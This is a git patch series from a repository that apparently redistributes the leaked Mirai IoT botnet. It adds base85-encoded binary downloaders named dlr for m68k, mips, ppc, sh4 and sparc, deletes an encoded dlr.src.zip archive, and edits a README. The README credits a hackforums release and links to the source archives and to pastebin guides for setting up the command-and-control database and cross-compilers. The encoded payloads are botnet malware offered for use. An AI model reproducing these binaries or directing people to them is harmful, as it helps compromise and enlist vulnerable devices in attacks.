zJ_s4JDTJ1#X;E90F!#Y9C>HV{J_vz*6hSOL6+zfLJF81%{jQHn?#Ba_nbWoV%1@8LZL64}78;MZGo z{I*R%3(8~7l7TS()ySRY>CQ0-g9Z`Dnu?A$RcfrM(s`*;Sx?0y>EJodQ_tr;bvQ06 ztuq>tA(eJ>G7u!g8$?^$%~qgwR)62=&%poXE`HGlw-f|$Ory`=) zLSZ$7zvK8od9NR3Oc`<=e~#m=R2y?kh8ffscJ=KKKdA-y27Z*`cbI<)%nOKFrdDJ= z>qn;WqwBB<1AElBV^YBX!Zxad_k&?_qym3>C64!?#%jrE1%@fZuYn=k3D7&&dH-96 zA8D}PU^~qQOVEexW%#9PZ~N3&uxaEd)M)s_I6nA|hx~1+u1>cC&RHOy@yspA3AyeK z;I3M~McT_vm8G(}k8^7_`UQBekN=$aG@YJp5b-GCuNPr^5XX0zuZB6>--15g&y#ar z#2Wtab?9s8!ER}NgM09gC8EC|C0w8wWON?)0J0B~8_EqGgZ>2EI*o3w*`u3Te5WxB zIa#gfX=(*Jt!x~zSEHxutC8ibMqs#?#&^zQk2QOJ!+_>}M6Mnhh$mBCCL29XbOH5O z1~BaB7_w#qGCLtzUi2sSsNr8>Ri?r@iJLy^k^>OWejughWU3-^1<)lCY<9e_N?oNdO5ZAIIcA2UP2Z$IdP^m zkwb^Q-#A%)yIyU;c6wqQ7NS>9l+EHy?Vb7JT&+>56*$H`SuQ)pqXi4!jX~oRr+Zk& zC!;isS*2Q;sgZaB(@ZKWs4#za-fg&*87jEdb1oGc@6J}-3Kh2hOJ^nv71wRlX5MqF z^9j@c>pg&QOYxifu?K;ElONCiNTz$SX55RAE_$&GhttQfVjTPT_ceN@_h$3^&2M%x i7{lWk2r%{D0)MA~+m|e$6C7*iO2#yB#bg1U;Qj$#fkGJo literal 0 HcmV?d00001 diff --git a/dlr/release/dlr.m68k b/dlr/release/dlr.m68k new file mode 100644 index 0000000000000000000000000000000000000000..2c9dd716551fd0f91a910d1dfc35ff442abad37d GIT binary patch literal 1248 zcma)6-%C?*6hHTeL*}$)K}#$yHe^J8uZ4(&!5nVhiQP;@_7LJ^&ZIfV-HHW*x8+0l z&_JtyL4pvG3VQQVdZ@SPDexhb9@Y;eRxH1r^WB|AA$8z<&-tFu=bUrD=YH>92oFUh zS%L$RK}BD(LAi*w3qbV=tP3 z{j-l$>mzMA+?27?(;5C|gYtAj9$6Y}PJVw_p&c?^#%=UopogbNNnM%;nU`=K=AS4U zS`DqDT_AM-$(4`b?FjNOMqc7ZUhWgwn*!SnfM8O8S=74L4#@Xs`1;*xb$v1Esdd@E zA1k8o#mSU(JQr5p@)OsSYQwlHs=hp6zwIyRqT>D-^$&l5Q@UGlUOU;(DfijtG@$gyL)cH<>*LX)D4MSmNAveOj%$?BW@T7k81kl zOggL2&RFpoMpVrh9Ua!svrd{1M53mfzB`t^p3Pag_$090R6YmHnoGoUabT0#EaCqz z4M@fB9b7iR1GK1$hPEd3KOs4aO1ukndy#_*A=H`>MtTyJ{uK(H7!9h}qY+Z8M_k2; NkxRVOzxJXQ`~;2JUr_)6 literal 0 HcmV?d00001 diff --git a/dlr/release/dlr.mips b/dlr/release/dlr.mips new file mode 100644 index 0000000000000000000000000000000000000000..3dbcf41738c4722766d0d78c74325871ace105f2 GIT binary patch literal 2000 zcmb7FOK%%h6#hJ~w1KG8DyocRsxh6!UQ~`-y2v7nX_^K{DwRQ5bkRj^B`TH(wQPgf zbtsNtH(3&?5~Z!vhbm2YEV^igg;;dSPnZP=Hb`A&0UEw@=Q;$*YQ>T6+&kxd=Q-!x zxpCp*a?Z$Mp9~!0IfuX+az6_=PXKpt*)Fy1A1W}yJPbZhgn zxt$cF?eGf1a?$i~$hVGsqh$+YWII~si43>hOm{e66nzBMk&Quy>+cD!^ep`){t@N) zDO~Xt-$Ongpb+oC^DWmY?I3S@dxw1+W+WJ5B`1ls^bA#P>+vgm-qX1LD{yx;?#lm+ zE%%bxTy1Nfc@E?6@ihJpPvUR!L%fS!mG{jsFFE;jJGp7d378Jjzh_i6vzzLQHu9^ZkdjT<(K95m*l1~)&c!}yKp^~tFkL~q26p8Z~6nr z5+9;#FkaDh>k=33|2HnxN18vcTU)sefv1zd8I*(9n%DcoWbC3_<7(o{6$gYd@g|=~7c9jS19H_y+ zeCnz=rN+7j%)hMtjjbE=utkUSGmO}S5qmIV4@T@kJxkBC-v8{X^ecHq>u7cZX@1T8 znsbdk$zvglQQdEHRHSj){D&^@0I!H4doSVlxKG~?FdaQaK6-=#=RS!az>ObbI)22N zXU|4lH1zs(0+X}tsryJQOTOD-AV;}}WEaZ(g}Zvb63$nFGnJ1e&+U-+ZB|Ew>;du~ z*V&`QFz3AVu+G~PoRGGs^5?u&_x)#LY_!^4IljB{{<)P&-o2l6YU>}i*E{50T3IFs zc;~{ZH`i=^)ScUCbsDXT=y-N!0>e>0DoH^ctvKyUv$pw~NZg z+IsWjYn4W`_4b)DUSGy~jY2x%zeoH-mK|^(k(zhD9OV++8OD_m!v$77%Q6#n+d>kt}sTSb*YrrK@RaSoN^mI&pL!!}8SBZbN!AA0B^wi1;{4UKGr zxOFLs;I=)s5)vUz(zHUd`8jZCMI;d7$dRKDAbKbg2M)cU<$L2DZKuRVCAg5pK5EJA-J3!V2_Z}>aAqz+8`}mM7M3op>86`B7zAu}ld=@pz z*SH8F8F=&8_LAB@^^@h|Ah;8X*^ye{?qm4w3v+|eX)M|06eESL)WGvMq52JFCr6Tq1cq&Fis zO;dVf!VDIO$z$sdswQ#S;2N?17}$S6uqUY#tYKw>T(ll967M?eL1H+{mxnFMiN5Th zN}b8tQd|E<2>;^{Nn)yRVd2zq$u*1V6T)l63zs;Oqxg~YEakrEnf$KmTe{3$bVqT{ z_M;F|pVXGuwTZp0F=Btv?}+Cj^_$wgg0<0rwh}{ZnXl?c7FE}ep0u}gULv2=dF6Co zhK^~#3M8hD8P_IWd`cb?H;3CF;<$@KG=sq*b82vCdgAxQRP~F$)94l@5B6N;5^0}u zmKtRa9E3UF3za_g`$t0eq>ID|S9Q=&TI-YYP|2moX%8x_|FFJgbltpzG4Ei^I~em0 z#=L{E%+il~mM(qJpG%)I1IN_gjLg`ql7DLXkAW$jqx>gGu0n$GQd^hv?rn1J_j&Jn zEbLA^j6L@5F7M{OxW`#=vDX>K-A)eoIPY7s;v@89p*QR?7s*NdvQG$~6R#Wfa}|Gi z&Q?y()5O6ZMv?k%K=pHCm_s*~`z!t>j>Hg>{1>&qGG{G~-`4`GYppA?e`EfwbMu41 z(tFLy@|CsaCS@1q=O_VQKVS348!PX$##dLG^_7y?c$HeMI)0{99vU1H(A@k5g%vz0 z0z%=>P?zsPFB4+l;QL~RxWWAb_cysVY4ec$5%~bQM_oXUQtRzjyVpD(VunAO)aB*=7?47}O{S7yEm-7Gs literal 0 HcmV?d00001 diff --git a/dlr/release/dlr.ppc b/dlr/release/dlr.ppc new file mode 100644 index 0000000000000000000000000000000000000000..37cef13375495b559690f36db872ae6814820a7a GIT binary patch literal 1412 zcma)6O-NKx6h3d>a~e$L1-6LE8p$A$X0lwo7=@A26n~gvqD2KWj)p=%GBd>$uDxet zP&*-)lg!``xNFl&OCyVxZGu_^MihdZpf*AE`p%oD$*9nU^X`4;eBZg>z31L*wsp5F z9)&iWhpI7FbW+#QHxX%zPOOOnq|z}eBaP$i(_I55S2RS6sqocux>7X8qWNH6j`wH2 zoOe9iKVG=B*tm5lmRzoq$s-~*8wtwfDIur*qSvB;^m*ncYwd5c-!F_fDH94+cfW4D z*Fox03uB{}bm>#)cEEc7VLd;0#m+Sd#!2glkY%cH=P4`B;dxQYgO*j+G?5@5^jw=5 zqYA?!b)rDJQ6L|3)w$gJ;MPGO)=;8v=Q%Z(*Hb#@<{s?KQ(fNvQr<3FmF-%U52aec zjqtoJ0iBk{=t+29i(+jn9jI&g87U8Hh(Z=oWXk^0Z0W?f)Ad@^7}sJ(p1fQubABz_ zW!seok;hmj1^YyZ(GvxG7AF(_D8^M?_8$fNsW-=UGAvK4kymUZsa=8pDmaRis6BY# zc#!XSC~MpDu3xlHQAH?c+mYu^KBde4{my*(T^L-GJn7(Hl%{_qlBWP`WKGaFh?s`h zZE4b5a0*yYjT0Z&hM8~9t_$Xx*)`%hz*B)63A2VV)IE>20SC-bD2tqN(tz^;bMYb0 z#ijX3u$d~$M_Vq7IC}H3vrlir1v&_>WzMV%mtW6gIp7~Lv!6u-x{>1}*7&{{|J}%b z`08DKldPTB0pC;fWnK2KPpI9>0&0Y_w!CrHpe-Wfej&3s*E0=5zQUdQ8Wy8_&WN+9 zM|YM2sHNtft<|Lh?!c&@??N5?wU4HGzipe(#R6hm&oSzxpguXibHl?)>gl}D+F6c! zekav2aD8|nMMS-w?eGwtYl{U!eM2|Xp&LV~#843UKu0VV4K)T&RF+pdnD)+Ir>9_g zFr7(d5`7fR42TQ`Q@8pPnFRcO=`?5i@3t36ewn;@vnJ8Q)Wt1qe$%+^gE8);PFfV( n0i$l%M%#G%4#2_hnaXb*a4_e8D~`vUOWkm~xWoVcojCmk8ro)C literal 0 HcmV?d00001 diff --git a/dlr/release/dlr.sh4 b/dlr/release/dlr.sh4 new file mode 100644 index 0000000000000000000000000000000000000000..684587d45d879f00222eea91cc9763b8e389bde0 GIT binary patch literal 1200 zcma)6O-vI(6n@j)B4x#Z2GU9(1q6ziE)rD2kJ(bG1uH*7;z18=yDcrnV%kQD5=zhz zOhYghh%p{aNIaQ%z!;AvUOaA%B*c@X%gTX+rlu#8`le+QD;|8!n>X+KzIi*HeY3GX zmxB-jn(5#)(9FmP(2jAB0jR{-4rXA$0(xL`d|oeL5a1(fsOxhe$?n-krQGzdf$}W+O|Nms(x>v(m(rmt4O70^i5pEu$Nfgnc(qWR^mt5mkGtDrYHaSc z*i8;oZqw1Han~@roRIPzol8wO4&|Rpb%iz9f*OS!Q@|arPyShd zkzeOu@^5*ncYb;kdxtwRi^ketD_9Rh?RQuMwr<`EyoOz<#x%+s(gM2Hu zG#ra57iGY@pb}$`-19lO7F_2912DlZS*Oq^f|^}omYKljcy>t_zmVi?L^&@fq|vo9 zl@s>Ql?%nojK4)DO4}AEu&Namaj8k(@K?_yBr9SMeDkfkM;62x1@^k1C8TDVsQaB8 zUfhq9V0BihMb-c>#41aDvaDl2UW-qtTd(+nC+e+0XMF6+ro;^x;KyqNRBdz4gv2>F zrITB%$_)^u9M|g==bY={^fSTCWG0aD(|11)FuVXZU6v#;o5gqHA_B}~T*W>u#`zM? zA7b3b{1nDj%%7wCab8kdQu-b7_n0%-34iv^E94h>yGP|mrMe*x_DIC145zN|j#PeF z*r{wST4DTpnVx4{JZ{c@&38tASAJSg*6QVZl-`Soza6gjU$ga>07!SjPVdxhZy39G zu-}0Qz~#O%Gw%+BBK)mDSPWQEZ+4E24fAKMt+>^k#?e2Ri-2q-8jgx?utvQzQLu)m zB{3?3)g6h@V*hCz>Igc$i}cJ^G4APbI52uYsg%iQj`AjSdiRme aeGBM!f##ZN^{AF=G^4s2Ex|~6YQF)t>oh_D literal 0 HcmV?d00001 diff --git a/dlr/release/dlr.spc b/dlr/release/dlr.spc new file mode 100644 index 0000000000000000000000000000000000000000..b6d804ca314555f7b35256228ea93e393011cbb0 GIT binary patch literal 1288 zcma)6OGs2<6h3$Eorl+if5we1ioXXMAtE8kHcbC`Oac9EYuki9&h-V-UX$HknBV1#= zj|Fg2!f}5wAM+_*1AUuuK1*<}K46c`RK5fH7O*JSOQk{Ny}RQ+3*Q~Jf!d`O#MhCh z6?J)JSy0>JrWCqC8uPf$S>x@OvqVw0nDN8fs@Dg3k-RR5d_{Sa; z2Pf~$Ocp(qXgD_jl;}$TsO%b>zE|qHJ6$YHXRuBVj*gCWUC5ko)7v}_^9FLmzMUye zmCD6(VT>~6$=NbxiuWf9 Date: Wed, 12 Oct 2016 14:17:56 +0800 Subject: [PATCH 07/26] update README.md --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index 8daac78..d9671bf 100755 --- a/README.md +++ b/README.md @@ -5,13 +5,17 @@ This is the source code released from [here](http://hackforums.net/showthread.ph --- I found + mirai.src.zip from https://www.virustotal.com/en/file/68d01cd712da9c5f889ce774ae7ad41cd6fbc13c42864aa593b60c1f6a7cef63/analysis/ + loader.src.zip from https://www.virustotal.com/en/file/fffad2fbd1fa187a748f6d2009b942d4935878d2c062895cde53e71d125b735e/analysis/ + dlr.src.zip from https://www.virustotal.com/en/file/519d4e3f9bc80893838f94fd0365d587469f9468b4fa2ff0fb0c8f7e8fb99429/analysis/ Maybe they are original files. Configuring_CNC_Database from http://pastebin.com/86d0iL9g + Setting_Up_Cross_Compilers.sh from http://pastebin.com/1rRCc3aD Felicitychou From 6cd833ef6ac52471b7efddc4318a418a5021b262 Mon Sep 17 00:00:00 2001 From: fen Date: Wed, 12 Oct 2016 14:20:25 +0800 Subject: [PATCH 08/26] update README.md --- README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index d9671bf..c2d94a2 100755 --- a/README.md +++ b/README.md @@ -6,16 +6,16 @@ This is the source code released from [here](http://hackforums.net/showthread.ph I found -mirai.src.zip from https://www.virustotal.com/en/file/68d01cd712da9c5f889ce774ae7ad41cd6fbc13c42864aa593b60c1f6a7cef63/analysis/ +mirai.src.zip from [VT](https://www.virustotal.com/en/file/68d01cd712da9c5f889ce774ae7ad41cd6fbc13c42864aa593b60c1f6a7cef63/analysis/) -loader.src.zip from https://www.virustotal.com/en/file/fffad2fbd1fa187a748f6d2009b942d4935878d2c062895cde53e71d125b735e/analysis/ +loader.src.zip from [VT](https://www.virustotal.com/en/file/fffad2fbd1fa187a748f6d2009b942d4935878d2c062895cde53e71d125b735e/analysis/) -dlr.src.zip from https://www.virustotal.com/en/file/519d4e3f9bc80893838f94fd0365d587469f9468b4fa2ff0fb0c8f7e8fb99429/analysis/ +dlr.src.zip from [VT](https://www.virustotal.com/en/file/519d4e3f9bc80893838f94fd0365d587469f9468b4fa2ff0fb0c8f7e8fb99429/analysis/) Maybe they are original files. -Configuring_CNC_Database from http://pastebin.com/86d0iL9g +Configuring_CNC_Database from [pastebin.com/86d0iL9g](http://pastebin.com/86d0iL9g) -Setting_Up_Cross_Compilers.sh from http://pastebin.com/1rRCc3aD +Setting_Up_Cross_Compilers.sh from [pastebin.com/1rRCc3aD](http://pastebin.com/1rRCc3aD) Felicitychou From bef43aa27009626d13622768fecb90fcabd13b67 Mon Sep 17 00:00:00 2001 From: fen Date: Wed, 12 Oct 2016 14:23:06 +0800 Subject: [PATCH 09/26] update README.md --- README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index c2d94a2..468cd0c 100755 --- a/README.md +++ b/README.md @@ -14,7 +14,9 @@ dlr.src.zip from [VT](https://www.virustotal.com/en/file/519d4e3f9bc80893838f94f Maybe they are original files. -Configuring_CNC_Database from [pastebin.com/86d0iL9g](http://pastebin.com/86d0iL9g) + + +Configuring_CNC_Database.txt from [pastebin.com/86d0iL9g](http://pastebin.com/86d0iL9g) Setting_Up_Cross_Compilers.sh from [pastebin.com/1rRCc3aD](http://pastebin.com/1rRCc3aD) From 43972651b2e772cb58cc89d10d7513afbdf6033b Mon Sep 17 00:00:00 2001 From: fen Date: Wed, 12 Oct 2016 14:29:40 +0800 Subject: [PATCH 10/26] Delete dlr.src.zip --- dlr.src.zip | Bin 11218 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 dlr.src.zip diff --git a/dlr.src.zip b/dlr.src.zip deleted file mode 100644 index 38586f825c9f7f5ed9d3e0b60444e590c8a4e56f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 11218 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 